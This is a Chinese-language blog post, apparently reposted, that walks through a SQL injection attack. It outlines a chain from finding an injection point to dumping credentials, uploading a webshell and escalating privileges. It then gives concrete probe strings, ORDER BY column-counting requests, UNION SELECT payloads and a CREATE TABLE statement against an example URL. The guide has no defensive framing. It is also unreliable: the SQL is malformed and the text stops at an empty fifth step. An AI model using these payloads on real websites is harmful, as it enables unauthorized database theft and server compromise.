SQL 注入经验
一、首先先了解下SQL的典型流程
SQL注入典型流程
1.判斷Web系統使用的腳本語言,發現注入點,并確定是否存在SQL注入漏洞
2.判斷Web系統的數據庫類型
3.判斷數據庫中表及相應字段的結構
4.構造注入語句,得到表中數據內容
5.查找網站管理員后臺,用得到的管理員賬號和密碼登錄
6.結合其他漏洞,想辦法上傳一個Webshell
7.進一步提權,得到服務器的系統權限
(注:以上為一般流程,根據實際情況,情況可能會有所不同。)
具體如下:
一、查找網站可以注入的地方
要進行注入,首先得先找到網站可以發生注入的地方,這種一般出現在網站供給用戶提交條件進行查詢的地方,在這些地方先用簡單常用的套路進行判斷,比如常用的有:輸入 ',and 1=2 ,or 1=1,;如果網頁發生錯誤,說明這個地方可注入。
二、二分法確定表中的字段長度
a. http://www.a.com/cms/new.php?id=3 order by 10 ? ?返回錯誤頁面,說明字段小于10
b. http://www.a.com/cms/new.php?id=3 order by 5 ? ?返回正常頁面,說明字段介于5和10之間
c. http://www.a.com/cms/new.php?id=3 order by 7 ? ?返回錯誤頁面,說明字段大于5小于7,可以判斷字段數是6。下面我們再來確認一下
d. http://www.a.com/cms/new.php?id=3 order by 6 ? ? 返回正常頁面,說明字段確實
三、利用union關鍵字爆每個字段的類型
http://www.a.com/cms/new.php?id=3 Union select 1,2,3,4,5,6--
根據錯誤,修改1,2,3,4,5,6,具體對應的類型,比如,如果顯示第三個字段char 形不能轉換為int的型,可以判斷3的地方應該用'a'來代替
四、得出每個字段的類型后,造一個滿足條件的表
比如經過上述操作后,6個字段分別為char,char,char,char,smalldatetime,char ,int,int,就造一個自己的表temp
create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3nvarchar(255),int1,int(10),int2,int(10));--
五、利用該臨時表爆數據庫
轉載于:https://blog.51cto.com/ilovy/1335096
總結
- 上一篇: JFinal针对ORACLE的times
- 下一篇: mysql 实现master-slave